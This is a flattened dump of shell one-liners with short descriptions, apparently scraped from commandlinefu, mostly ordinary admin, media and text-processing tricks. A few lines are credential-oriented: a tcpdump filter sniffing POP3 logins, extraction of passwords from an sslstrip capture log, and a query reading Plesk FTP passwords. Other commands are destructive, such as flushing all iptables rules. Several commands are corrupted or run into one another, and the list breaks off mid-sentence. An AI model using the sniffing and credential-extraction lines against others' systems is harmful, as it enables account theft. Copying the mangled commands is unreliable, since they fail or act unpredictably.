awk '{print NR,$0}' # Display the space used for all your mounted logical volume (LV) df -kh /dev/vg0*/lv* # Open Remote Desktop (RDP) from command line having a custom screen size rdesktop -u -p -g 1366x724 -a 16 -D -z -P # show how many twitter followers a user has curl -s http://twitter.com/users/show.xml?screen_name=username | sed -n 's/\//p' | sed 's/<[^>]*>//g;/&1 | grep Duration);echo $(( h * 360 + m * 60 + s )); } # git log1 alias git config --global alias.log1 "log --pretty=oneline --abbrev-commit" # what the free memory grow or shink watch -d "free -mt" # this toggles mute on the Master channel of an alsa soundcard on="off"; off="on"; now=$(amixer get Master | tr -d '[]' | grep "Playback.*%" |head -n1 |awk '{print $7}'); amixer sset Master ${!now} # Sniff ONLY POP3 authentication by intercepting the USER command tcpdump -i eth0 "tcp port pop3 and ip[40] = 85 and ip[41] = 83" -s 1500 -n -w "sniff" # Convert a directory of pdfs into scaled down pngs shopt -s nullglob; for i in $(find "Your/file/system" -name "*.pdf"); do e="$(dirname $i)/$(basename $i '.pdf').png"; gs -sDEVICE=png16m -q -dPDFFitPage -g492x380 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -dNOSUBSTDEVICECOLORS -o $e $i; done # Find .java files with high complexity (counting curly braces) find src/ -name "*.java" | while read f; do echo -n "$f "; cat "$f" | tr -dc '{}'; echo; done | awk '{ print length($2), $1 }' | sort -n # Grep the process excluding the grep itself. ps -ef | grep [t]clsh # prints line numbers perl -pe 'print "$. "' # File browser xdg-open $(ls . | dmenu) # print line and execute it in BASH $ echo "command"; `!#:0-$ # Mark a directory as one where something failed fail () { ln -s /nonexistent 0_FAIL_${1}; } # set open firmware password command mode /usr/local/bin/OFPW -mode 1 # Add all not commited files to svn svn st | grep ^? | xargs svn add 2> /dev/null # Scan your LAN for unauthorized IPs diff <(nmap -sP 192.168.1.0/24 | grep ^Host | sed 's/.appears to be up.//g' | sed 's/Host //g') auth.hosts | sed 's/[0-9][a-z,A-Z][0-9]$//' | sed 's//dev/null |awk -F'\xa7' '$2 {print "users: "$2"/"$3;}' # Need an ascii art font for you readme text ? toilet -f big ReadMe # Poor man's ntpdate date -s "$(echo -e "HEAD / HTTP/1.0\n" | nc www.example.com 80 | sed -ne 's/^Date: \(.*\)$/\1/p')" # zsh variable behave like bash variable setopt shwordsplit # command line fu roulette curl -sL 'www.commandlinefu.com/commands/random' | awk -F']+>' '/"command"/{print $2}' # rsync a hierarchy but matching only one filename rsync -avz --dry-run --include="only-include-this-filename" -f 'hide,! */' source/folder/ target/folder/ # Nmap find open TCP/IP ports for a target that is blocking ping nmap -sT -PN -vv # check open ports (both ipv4 and ipv6) lsof -i # Open in TextMate Sidebar files (recursively) with names matching REGEX_A and n ot matching REGEX_Bmate - `find * -type f -regex 'REGEX_A' | grep -v -E 'REGEX_B'` # Sort movies by length, longest first for i in *.avi; do echo -n "$i:";mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done | sort -t: -k2 -r # Show demo of toilet fonts find /usr/share/figlet -name *.?lf -exec basename {} \; | sed -e "s/\..lf$//" | xargs -I{} toilet -f {} {} # find co-ordinates of a location findlocation() {place=`echo $@`; lynx -dump "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | egrep "address|coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';} # Find the main file :D find . -name "*.cpp" -exec grep -Hn --color=tty -d skip "main" {} \; # Fetch all GPG keys that are currently missing in your keyring gpg --list-sigs | sed -rn '/User ID not found/s/^sig.+([a-FA-F0-9]{8}).*/\1/p' | xargs -i_ gpg --keyserver-options no-auto-key-retrieve --recv-keys _ # Show Mac OS X version information sw_vers # Find a .jpg in Your Home-Directory and display it via eog. Not case sensitive. ....eog $(find $HOME -iname ExamplePicture*.jpg) # Convert ascii string to hex echo -n 'text' | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g' # cd into the latest directory alias cd1='cd $( ls -1t | grep ^d | head -1)' # Extract an audio track from a multilingual video file, for a specific language .mencoder -aid 2 -oac copy file.avi -o english.mp3 # remove unnecessary architecture code from Mac OS X Universal binaries ditto --arch i386 doubleTwist.app doubleTwist_i386.app # View webcam output using GStreamer pipeline gst-launch-0.10 autovideosrc ! video/x-raw-yuv,framerate=\(fraction\)30/1,width=640,height=480 ! ffmpegcolorspace ! autovideosink # Poor man's ntpdate date -s "`curl -sI www.example.com | sed -n 's/^Date: //p'`" # Get a url, preview it, and save as text - with prompts read -p "enter url:" a ; w3m -dump $a > /dev/shm/e1q ; less /dev/shm/e1q ; read -p "save file as text (y/n)?" b ; if [ $b = "y" ] ; then read -p "enter path with filename:" c && touch $(eval echo "$c") ; mv /dev/shm/e1q $(eval echo "$c") ; fi ; echo DONE # Find the package a command belongs to on Gentoo equery belongs $( which mv ) # Find all files over 20MB and print their names and size in human readable form atfind / -type f -size +20000k -exec ls -lh {} \; | awk '{printf $9} {for (i=10;i<=NF;i++) {printf " "$i}} {print ": "$5}' # Overcome Bash's expansion order eval "mkdir test{$(seq -s, 1 10)}" # Read/Write output/input from sed to a file seq 20 | sed '5,6 { w out.txt }' #Can't print correctly. See sample output # fomat/encode/escape xml xml fo -e utf-8 file.xml | xml esc # Prevent overwriting file when using redirection set -o noclobber # Update the working tree to the latest git commit git log -g --pretty=oneline | grep '}: commit' | awk '{print $1}' | head -1 | xargs git checkout -f # fix nvidia-settings display error nvidia-settings -a AssociatedDisplays=0x00010000 # Which files/dirs waste my disk space du -h / | grep -w "[0-9]*G" # edit a executable script vie(){vi $(which $1)} # Using json.tool from the shell to validate and pretty-print echo '{"json":"obj"}' | python -mjson.tool # Delete posts from MyBB Board as User curl --cookie name= --data-urlencode name=my_post_key=\&delete=1\&submit=Delete+Now\&action=deletepost\&pid=$c --user-agent Firefox\ 3.5 --url http://url/editpost.php?my_post_key=\&delete=1\&submit=Delete+Now\&action=dele # Export usernames and passwords from sslstrip log grep -i -f password_tokens sslstrip.log | awk ' BEGIN { RS="&" } { print $1 }' | grep -i -f tokens_file # dd with progress bar and remaining time displayed SIZE=`fdisk -s /dev/sdx`; dd if=/dev/sdx bs=1M | pv -s "$SIZE"k > hdd.img # Copy your ssh public key to a server from a machine that doesn't have ssh-copy -idssh @ 'mkdir -m 700 ~/.ssh; echo ' $(< ~/.ssh/id_rsa.pub) ' >> ~/.ssh/authorized_keys ; chmod 600 ~/.ssh/authorized_keys' # Save all commands from commandlinefu.com sort by vote # See whether your compiled Apache is prefork or worker MPM /usr/sbin/httpd -l # Get thread count for process on Solaris ps -L -p | wc -l # Display $PATH with one line per entry echo -e ${PATH//:/\\n} | less # Create a template for WebLogic 9 or 10 pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar -template_name="mydomain" # Generate trigonometric/log data easily seq 8 | awk '{print "e(" $0 ")" }' | bc -l # to display all characters except second last character from each line of a fil esed 's/^\(.*\)\(.\)\(.\)$/\1\3/' fileName # Write a bootable Linux .iso file directly to a USB-stick wget -O/dev/sdb ftp://ftp.debian.org/debian/dists/stable/main/installer-amd64/current/images/netboot/mini.iso # Save the debconf configuration of an installed package debconf-copydb configdb copydb --pattern= --config="Name: copydb" --config="Driver: File" --config="Filename: ~/copydebconf.dat" # Create a hard-to-guess password dd if=/dev/urandom bs=16 count=1 2>/dev/null | base64 # List files recursively sorted by modified time find /home/fizz -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort # get events from google calendar for a given dates range wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&start-max=2009-07-31' | perl -lane '@m=$_=~m/(.+?)</g;@a=$_=~m/startTime=.(2009.+?)T/g;shift @m;for ($i=0;$i<@m;$i++){ print $m[$i].",".$a[$i];}'; # Unpack and build a WebLogic 9 or 10 domain unpack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar # give record size of given record-structured file fname=$1;f=$(ls -la $fname);fsz=$(echo $f|awk '{ print $5 }');nrrec=$(wc -l $fname|awk '{ print $1 }');recsz=$(expr $fsz / $nrrec);echo "$recsz" # Import a debconf configuration (from a copydebconf.dat file) debconf-copydb copydb configdb --config="Name: copydb" --config ="Driver: File" --config="Filename: ~/copydebconf.dat" # Command line invocation of ImageMagick to resize a file convert panorama_rainbow_2005.jpg -resize 40% panorama_rainbow_compress.jpg # convert a .mp4 to a .avi ffmpeg -i "/path/to/file.mp4" "/path/to/file.avi" # Convert CSV files to TSV sed 's/,/\t/g' report.csv > report.tsv # Remove lines matching a pattern in files (backup any modified files) pattern='regexp_pattern'; find . -type f -perm +220 ! -name '*.bak' -print0 | xargs -0 egrep -lZ $pattern | xargs -0 sed -i.bak -e "/$pattern/d" # Get Unique Hostnames from Apache Config Files cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s " " | sed 's/^[ ]//g' | uniq | cut -d ' ' -f 2 | sed 's/www.//g' | sort | uniq # See The MAN page for the last command man !! # Generate list of words and their frequencies in a text file. tr A-Z a-z | tr -d 0-9\[\],\*-.?\:\"\(\)#\;\<\>\@ | tr ' /_' '\n' | sort | uniq -c # Enable color pattern match highlighting in grep(1) export GREP_OPTIONS='--color=auto' # Opens files containing search term in vim with search term highlighted ack-open () { local x="$(ack -l $* | xargs)"; if [[ -n $x ]]; then eval vim -c "/$*[-1] $x"; else echo "No files found"; fi } # Convert AVI to WMV ffmpeg -i movie.avi -s 320x240 -b 1000k -vcodec wmv2 -ar 44100 -ab 56000 -ac 2 -y movie.wmv # String Capitalization echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}' # This command will shorten any URL the user inputs. What makes this command dif ferent is that it utilizes 5 different services and gives you 5 different outputs.curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortened-url"............... # List only those files that has all uppercase letters in their names (e.g. READ ME)ls | grep '^[A-Z0-9]*$' # Persistent saving of iptables rules cd /etc/network/if-up.d && iptables-save > firewall.conf && echo -e '#!/bin/sh -e\niptables-restore < $(dirname $0)/firewall.conf' > iptables && chmod a+x iptables # Figure out if your kernel has an option enabled zgrep CONFIG_MAGIC_SYSRQ /proc/config.gz # External IP curl www.whatismyip.org # List RPM packages installed in current tree find $PWD -exec rpm --query -f {} \; | sort -u | grep -v "not owned" # traverses directories of $host and $share to created a unified place for rsync backupsfor host in *; do { if [ -d $host ]; then { cd ${host}; for share in *; do { if [ -d $share ]; then { cd $share; rsync -av --delete rsyncuser@$host::$share . 2>../$share.err 1>../$share.log; cd ..; }; fi; }; done; cd ..; }; fi; }; done; # Currency converter using xe.com xe(){ curl "http://www.xe.com/wap/2co/convert.cgi?Amount=$1&From=$2&To=$3" -A "Mozilla" -s | sed -n "s/.*>\(.*\) $3<.*/\1/p";} # Extract specific lines from a text file using Stream Editor (sed) head -n1 sample.txt | tail -n1 # Play all files in the directory using MPlayer mplayer -playlist <(find "$PWD" -type f) # List files in an RPM package rpm --query --filesbypackage [packagename] # Find which process is using a port on Solaris ps -ef | grep user | awk '{print $2}' | while read pid; do echo $pid ; pfiles $pid| grep portnum; done # Equivalent to ifconfig -a in HPUX netstat -in # Generate an over-the-top UUID printf $(( echo "obase=16;$(echo $$$(date +%s%N))"|bc; ip link show|sed -n '/eth/ {N; p}'|grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'|head -c 17 )|tr -d [:space:][:punct:] |sed 's/[[:xdigit:]]\{2\}/\\x&/g')|sha1sum|head -c 32; echo # Unlock your KDE4 session remotely (for boxes locked by KDE lock utility) qdbus org.kde.krunner_lock /MainApplication quit; qdbus org.kde.plasma-overlay /MainApplication quit # See how many more processes are allowed, awesome! echo $(( `ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l` )) # Generate list of words and their frequencies in a text file. tr -cs A-Za-z '\n' | sort | uniq -ci # get you public ip address echo $(curl -s http://ipwhats.appspot.com/) # Prints out, what the users name, notifyed in the gecos field, is finger | grep $(whoami) | head -n1 | awk '{print $2 " " $3}' # recursively change file name from uppercase to lowercase (or viceversa) for i in $(find . -type f); do mv "$i" "$(echo $i|tr A-Z a-z)"; done # To see the user's activity on the file system sudo lsof -u someuser -a +D /etc # Destroy file contents after encryption gpg -e --default-recipient-self <SENSITIVE_FILE> && shred -zu "$_" # Create a simple backup tar pzcvf /result_path/result.tar.gz /target_path/target_folder # AIX : onliner to reset failed login count for user chsec -f /etc/security/lastlog -a "unsuccessful_login_count=0" -s 'aix user' # Check whether laptop is running on battery or cable cat /proc/acpi/battery/BAT0/state # Convert ascii string to hex echo "text" | od -t x1 # recursive base64 encoding -- Cipher for the Poor ? str=password; for i in `seq 1 10`; do echo -e "$str\n"; str="$(base64 <<< $str)"; done # Convert PDFLaTeX PDF to Illustrator-usable EPS gs -dNOCACHE -dNOPAUSE -dBATCH -dSAFER -sDEVICE=epswrite -dEPSCrop -sOutputFile=out.eps in.pdf # Paged, colored svn diff svn diff $* | colordiff | less -r # Show the files that you've modified in an SVN tree svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$' # add random color and external ip address to prompt (PS1) IP=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F# '{print $1}' | tail -n 1 ); R=3$((RANDOM%6 + 1)); PS1="\n\[\033[1;37m\]\u@\[\033[1;$R""m\]\h^$IP:\[\033[1;37m\]\w\$\[\033[0m\] " # Reorder file with max 100 file per folder find files/ -type f | while read line; do if [ $((i++%100)) -eq 0 ]; then mkdir $((++folder)); fi; cp $line $folder/; done # xpath function xpath () { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' } # Install a library to a remote repository mvn deploy:deploy-file -DgroupId=groupId -DartifactId=artifactId -Dversion=1.0 -Dpackaging=jar -Dfile=pathtolib -DrepositoryId=repository -Durl=url # get the list of temps for your hard-drives hddtemp /dev/sda /dev/sdb /dev/hda /dev/hdb | gawk '{print $NF}' | perl -n -e '$_ =~ s/(\d+)/print "$1 "/eg }{ print "\n"' # Analyze awk fields tr " " "\n" | nl # List installed Perl modules instmodsh # Ramp the system volume up 5% aumix -v +5 # print latest (top 10, top 3 or *) commandlinefu.com commands wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '<x>' -n -t -m rss/channel/item -o '<y>' -n -v description -o '</y>' -n -t -o '</x>' | xmlstarlet sel -T -t -m x/y -v code -n # Outputs a 10-digit random number echo $RANDOM$RANDOM$RANDOM |cut -c3-12 # Check whether laptop is running on battery or cable pmset -g batt # os x version # Ignore subdirectories in subversion find . -type d -not \( -name .svn -prune \) -exec svn propset svn:ignore '*' {} \; # GREP a PDF file. grep -i '[^script$]' 1.txt # Convert .ogg to .avi mencoder -idx a.ogg -ovc lavc -oac mp3lame -o b.avi # get a random command find $(echo "$PATH" | tr ':' ' ') -name "*program*" # Losslessly optimize JPEG files for file size jpegtran -optimize -outfile temp.jpg <JPEG> && mv temp.jpg "$_" # Store your files in a pastebin with curl curl pasted.me -sNT <file> # replace @ symbol with new line character, to get new line character press Ctrl +v+enter --> ^M%s/@/^v[M]/g # Show a script or config file without comments egrep -v "^[[:blank:]]*($|#|//|/\*| \*|\*/)" somefile # View a random xkcd comic wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q " $1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}' # Show the command line of a process that use a specific port (ubuntu) port=8888;pid=$(lsof -Pan -i tcp -i udp | grep ":$port"|tr -s " " | cut -d" " -f2); ps -Afe|grep "$pid"|grep --invert-match grep | sed "s/^\([^ ]*[ ]*\)\{7\}\(.*\)$/\2/g" # Status of Snow Armageddon in Washington DC Metro from the command line... /usr/bin/links --source http://weather.noaa.gov/pub/data/forecasts/zone/md/mdz009.txt # List a phone's filesystem with bitpim bitpim -p $PHONE_PORT ls # shutdown pc in a 4 hours shutdown -h $((60 * 4)) # Send current job to the background ^Z then bg # ls to show hidden file, but not . or .. ls -A # Recursive grep of all c++ source under the current directory grep -R --include=*.cpp --include=*.h --exclude=*.inl.h "string" . # Commands to setup my new harddrive! #4 Step! Try to recover as much as possibl eddrescue -r 1 /dev/old_disk /dev/new_disk rescued.log # Download YouTube music playlist and convert it to mp3 files yt-pl2mp3() {umph -m 50 $1 | cclive -f mp4_720p; IFS=$(echo -en "\n\b"); for track in $(ls | grep mp4 | awk '{print $0}' | sed -e 's/\.mp4//'); do (ffmpeg -i $track.mp4 -vn -ar 44100 -ac 2 -ab 320 -f mp3 $track.mp3); done; rm -f *.mp4} # Today's elimination of a world threat rm -rf /bin/laden # mount starting sector of the partition we want to mount mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path # Play flash videos in VLC find -L /proc/`ps aux | grep [f]lash | awk '{print $2}'`/fd/ | xargs file -L | grep Video | awk '{sub(/:/, ""); print $1}' | xargs vlc # Synchronize date and time with a server over ssh date `ssh user@server date "+%y%m%d%H%M.%S"` # get eth0 ip address ip -4 addr show eth0 | awk ' /inet/ {print $2}' # Download all data from Google Ngram Viewer wget -qO - http://ngrams.googlelabs.com/datasets | grep -E href='(.+\.zip)' | sed -r "s/.*href='(.+\.zip)'.*/\1/" | uniq | while read line; do `wget $line`; done # #3 Step! FIrst Pass quickly! ddrescue -n /dev/old_disk /dev/new_disk rescued.log # Animated Desktop: electricsheep nice -n 5 electricsheep -window-id `xwininfo -root|head -n 2|grep xwininfo|cut -c 22-26` # split a string (2) read VAR1 VAR2 VAR3 <<< aa bb cc; echo $VAR2 # Play a random .avi file from a media tree unset files i; set -f; O=$IFS; while IFS= read -r -d $'\0' files[i++]; do :; done < <(find . -name '*.avi' -print0) && IFS=$O; set +f && echo "Running: mplayer \"${files[ $(( $RANDOM % ${#files[@]} )) ]}\"" # Toggle cdrom device eject -T [cdrom_device] # regex to match an ip echo 254.003.032.3 | grep -P '^((25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])\.){3}(25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])$' # Find out my Linux distribution name and version cat /proc/version # archive all files containing local changes (svn) svn st -q | cut -c 2- | tr -d ' ' | xargs tar -czvf ../backup.tgz # Generate Random Passwords openssl rand 6 -base64 # Flatten a RGBA image onto a white background. composite -compose Over rgba.png -tile xc:white -geometry `identify rgba.png | sed 's/[^ ]* [^ ]* \([^ ]*\) .*/\1/g'` rgb-white.png # get IPs with a DHCP lease egrep "^lease" /var/lib/dhcp/db/dhcpd.leases |awk '{ print $2 }' # Step#1 Compare the disk spaces first! blockdev --getsize64 /dev/sd[ab] # create file FILE=$(tempfile 2>/dev/null || echo .$RANDOM) # Multiple Perl Search/Replace from a file cat table-mv.txt | perl -pe 's{([^;]+);([^;]+)}{tbl$1/tbl$2}' | perl -pe 's{(\S+)}{perl -i -pe #s/$1/g# xxx.sql}' | tr "#" "\'" | bash # Joke : prints line numbers in a longest way perl -e 'use strict; use warnings; my $c; my $file = $ARGV[0]; open my $handle, "<", $file or die "$0: $file: $!\n"; while (<$handle>) { print $c++, " " x 5, $_; } close($handle);' <FILE> # Convert all your mp3 to ogg find . -iname '*.mp3' | while read song; do mpg321 ${song} -w - | oggenc -q 9 -o ${song%.mp3}.ogg -; done # Collect output from a segfaulting program and keep the script from dying (trap 'true' ERR; exec <SEGFAULT_PRONE_PROGRAM>) # Fixing maven POM messed up by a broken release. find . -iname pom.xml -type f -exec bash -c "cat {} | sed s/1\.0\.46\-SNAPSHOT/1\.0\.48\-SNAPSHOT/g > {}.tmp " \; -exec mv {}.tmp {} \; # Reset the time stamps on a file touch -acm yyyymmddhhMM.ss [file] # Print multiline text starting and ending at specific regexps with perl man fetchmail | perl -ne 'undef $/; print $1 if m/^.*?(-k \| --keep.*)-K \| --nokeep.*$/smg' # See how much space is used by a file or directory du -hs /path/to/target # Use the last command's output as input to a command without piping and bind to it to a key sequence in bash.bind '"\C-h": "\`fc\ \-s\`"' # get you public ip address curl http://ifconfig.me/ip # archlinux: updates repository mirrors according to most up to date mirrors, th en speedsudo reflector -l 5 -r -o /etc/pacman.d/mirrorlist # Pulls FTP password out of Plesk database. mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password from accounts INNER JOIN sys_users ON accounts.id=sys_users.account_id WHERE sys_users.login='xxxx';" # snapshot partition for consistent backups with minimal downtime mksnap_ffs /var /var/.snap/snap_var_`date "+%Y-%m-%d"` ; mdconfig -a -t vnode -f /var/.snap/snap_var_`date "+%Y-%m-%d"` -u 1; mount -r /dev/md1 /mnt # Print a row of characters across the terminal println() {echo -n -e "\e[038;05;${2:-255}m";printf "%$(tput cols)s"|sed "s/ /${1:-=}/g"} # archlinux: shows list of files installed by a package pacman -Ql gvim # Create a QR code image in MECARD format getent passwd $(whoami) | echo "$(perl -ne '/^([^:]+):[^:]+:[^:]+:[^:]+:([^ ]+) ?([^,]+)?,([^,]*),([^,]*),([^:,]*),?([^:,]*)/ and printf "MECARD:N:$3,$2;ADR:$5;TEL:$4;TEL:$6;EMAIL:$1@"')$HOSTNAME;;" | qrencode -o myqr.png # Generate an XKCD #936 style 4 word passphrase (fast) w/o apostrophes echo $(cat /usr/share/dict/words |grep -v "'"|shuf -n4) # Convert Windows/DOS Text Files to Unix dos2unix dostxt unixtxt # Substitution cipher echo "Decode this"| tr [a-zA-Z] $(echo {a..z} {A..Z}|grep -o .|sort -R|tr -d "\n ") # Replace spaces in a filename with hyphens for f in * ; do mv "$f" $( echo $f | tr ' ' '-' ) ; done # archlinux: shows which package created a given file pacman -Qo /etc/yaourtrc # format txt as table not joining empty columns adding header with column number scat file.csv | perl -pe 'if($. == 1) {@h = split(/;/); $i = 1 ; map { $_ = $i; $i++ } @h; print join(" ;", @h) , "\n"} ; s/(^|;);/$1 ;/g' | column -ts\; | less -S # package most recent files in project find ~/project -mtime -1 -type f -print | tar jcvf myfiles.tar.bz2 -T - # Disable graphical login on OpenSolaris svcadm disable gdm # send incoming audio to a Icecast server (giss.tv) rec -c 2 -r 44100 -s -t wav - | oggenc - | tee streamdump.ogg | oggfwd giss.tv 8000 password /mountpoint.ogg # Center text in console with simple pipe like center(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})/2));echo "$(while ((--j>0)); do printf " ";done;)$l";done;}; ls --color=none / | center # archlinux: shows list of packages that are no longer needed pacman -Qdt # Convert a .wav file to .sln file sox is_that_correct.wav -t raw -r 8000 -s -w -c 1 is_that_correct.sln # Disable all iptables rules without disconnecting yourself iptables -F && iptables -X && iptables -P INPUT ACCEPT && iptables -OUTPUT ACCEPT # Get a summary of network devices in the system for i in /sys/class/net/*; do e=`basename $i`; echo "# $e"; sudo ethtool $e | grep -E "Link|Speed" ; done # for loop with leading zeros for s in `seq -f %02.0f 5 15`; do echo $s; done # Extract all urls from the last firefox sessionstore.js file used. grep -oP '"url":"\K[^"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q) # path manipulation in bash rp() { local p; eval p=":\$$1:"; export $1=${p//:$2:/:}; }; ap() { rp "$1" "$2"; eval export $1=\$$1$2; }; pp() { rp "$1" "$2"; eval export $1=$2:\$$1; } # Instant editing screenshot with Gimp sleep 4; xwd > /tmp/_.xwd ; gimp /tmp/_.xwd # List contents of jar unzip -l file.jar # archlinux: clears package cache of uninstalled packages sudo pacman -Sc # Multi-thread any command xargs -P 3 -n 1 <COMMAND> < <FILE_LIST> # Mark manually deleted files as deleted in svn svn status|grep -iR '^!'|sed 's/!/ /g'|xargs -i svn rm '{}' # JVM Garbage Collector Stats jstat -gc [jvmpid] # Adds characters at the beginning of the name of a file rename 's/.*/[it]$&/' *.pdf # Convert Raw pictures to jpg for img in $( ls *.CR2 ); do convert $img $img.jpg; done # for loop with leading zero in bash 3 printf "%02u " {3..20}; echo # Recursively search a directory tree for all .php .inc .html .htm .css .js file s for a certain stringfind -type f -regex ".*\.\(js\|php\|inc\|htm[l]?\|css\)$" -exec grep -il 'searchstring' '{}' + # Convert DOS newlines (CR/LF) to Unix format dos2unix <file> # archlinux: clear the package cache of all packages sudo pacman -Scc # fast find (for textfiles; uses sh, less and sed) ff() { local a=$1; local b=$2; local c=$a*/*$b*; case $# in [01])echo usage: f1 drive string [match-no\(s\)];; 2)printf "%s\n" $c|less -SN;; 3)less $(printf "%s\n" $c|sed -n "$3"p);; esac; } # Changes a User Password via command line without promt echo -e "new_password\nnew_password" | (passwd --stdin $USER) # warped and shagadelic webcam view with gstreamer gst-launch-0.10 v4l2src ! ffmpegcolorspace ! warptv ! ffmpegcolorspace ! autovideosink # Load "missing" man pages for your stuff. addman () { export MANPATH=`find $1 -xdev -type d -name man -printf %p:`${MANPATH}; } # archlinux: remove a package completely from the system. sudo pacman -Rns packagename # Allows incoming traffic from specific IP address to port 80 sudo ufw allow proto tcp from 1.2.3.4 to any port 80 # Edit the /etc/sudoers config file the right way. visudo # Get max number of arguments getconf ARG_MAX # Optimal way of deleting huge numbers of files find /path/to/dir/ -type f -exec rm {} + # function for copy files with progress bar (using pv - pipe viewer) cp_p() { if [ `echo "$2" | grep ".*\/$"` ]; then pv "$1" > "$2""$1"; else pv "$1" > "$2"/"$1"; fi; } # find files ending in *.log that contain both 'foo' and 'error' grep -l foo $(grep -l error *.log) # Get Informed by your box that you are awesome ;) while $i;do `notify-send -t 200 "You are awesome :)"`;sleep 60; done; # count processes with status ps axu | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}' # Add spacer to left side of Dock defaults write com.apple.dock persistent-apps -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock # Uptime in minute uptime | awk -F ',' ' {print $1} ' | awk ' {print $3} ' | awk -F ':' ' {hrs=$1; min=$2; print hrs*60 + min} ' # free swap free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2 # Show only existing executable dirs in PATH using only builtin bash commands for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done # Trim png files in a folder for file in `ls *.png`; do convert -trim $file $file; done # delete PBS jobs based on strings from qstat output qstat | awk '$6 ~ "STRING" {cmd="qdel " $1; system(cmd); close(cmd)}' # How many lines in your c project? find . -type f -name *.[ch] -exec wc -l {} \; # all out ps -fu userid | awk '/userid/{print $2}' | xargs kill # Add spacer to right side of Dock defaults write com.apple.dock persistent-others -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock # Laminate files line by line lam -f 1.4 myfile # Untar file with absolute pathname to relative location pax -r -s ',^/,,' -f file.tar # save a manpage to plaintext file man perlcheat | col -b > perlcheat.txt # Command to resolve name from Ip address, passing only the last field after seq (C Class for example)seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{} - ; nslookup 164.85.216.{} |grep name"|tr -s ' ' ' '|awk '{print $1" - "$5}'|sed 's/.$//' # Trim png files in a folder for file in *.png; do mogrify -trim "$file"; done # Open Finder from the current Terminal location open -a Finder <path> # Get your external IP address curl http://my-ip.cc/host.xml # AmazonMP3 Daily Deals wget -qO- "http://www.amazon.com/b?ie=UTF8&node=163856011" | grep Daily | sed -e 's/<[^>]*>//g' -e 's/^ *//' -e 's/\&[^;]*;/ /' # psg (ps grep) function if you don't have pgrep or don't know how to use it psg() { if [ -z "$2" ]; then psargs="aux"; greparg="$1"; else psargs="$1"; greparg="$2"; fi; ps $psargs | grep -i "$(echo $greparg | sed -e 's/^\(.\)/[\1]/')\|^$(ps $psargs | head -1)" ; } # GZip all files in a directory separately for file in *.foo; do gzip "$file"; done # Start delivery of mail queued on a secondary mail server. fetchmail -p etrn --fetchdomains yourdomain.example.org secondary-server.example.org # find files that contain foo, but not bar grep -l foo *cl*.log | xargs grep -lL bar # Terminal window focus on mouseover (mimicking X11 behavior) in Mac OS X defaults write com.apple.terminal FocusFollowsMouse -string YES # Get your external IP address curl http://my-ip.cc/host.json # Save a file you edited in vim without the needed permissions command W :execute ':silent w !sudo tee % > /dev/null' | :edit! # Do a quick check on the harware specifications on a set of Linux (RedHat) boxe sclear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release; cat /proc/cpuinfo | tail -n 25 | egrep '^processor|^model name' "; free ; df -h ;done # list all hd partitions fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g" # Watch a TiVo File On Your Computer curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536 # get disk usage sum for files of type find . -name '*.xml' -type f -print | xargs du -ch # Specify a file name that starts with hyphen, e.g. "-i" rm -- -i # List svn commits by user for a date range svn log -r{2011-08-01}:HEAD|awk '$14 ~/line/ {print $3}'|sort|uniq -c # search installed files of package, that doesn't remember his name well. On rpm systemsrpm -qa | grep PACKAGENAME | xargs rpm -q --filesbypkg # Generate secure password to userwith chpasswd echo "encryptedpassword"|openssl passwd -1 -stdin # Get the IP of the host your coming from when logged in remotely echo $SSH_CLIENT | cut -f 1 -d ' ' # Virtualbox: setup hardware VBoxManage modifyvm "vm-name" --memory 256 --acpi on --ioapic off --pae on --hwvirtex on --nestedpaging on # Make a pipe organ sound using XMMS and Python xmms `python -c "print \"tone://\" + \";\".join([str(22*(2**x)) for x in range(9)])"` # Extract the emoticons regex from a running skype process S=`pidof skype`;grep heap /proc/$S/maps|cut -f1 -d' '|awk -F- '{print "0x" $1 " 0x" $2}'|xargs echo "du me t ">l;gdb -batch -p $S -x l>/dev/null 2>&1;strings t|grep \(smirk|head -n1 # Will email user@example.com when all Rsync processes have 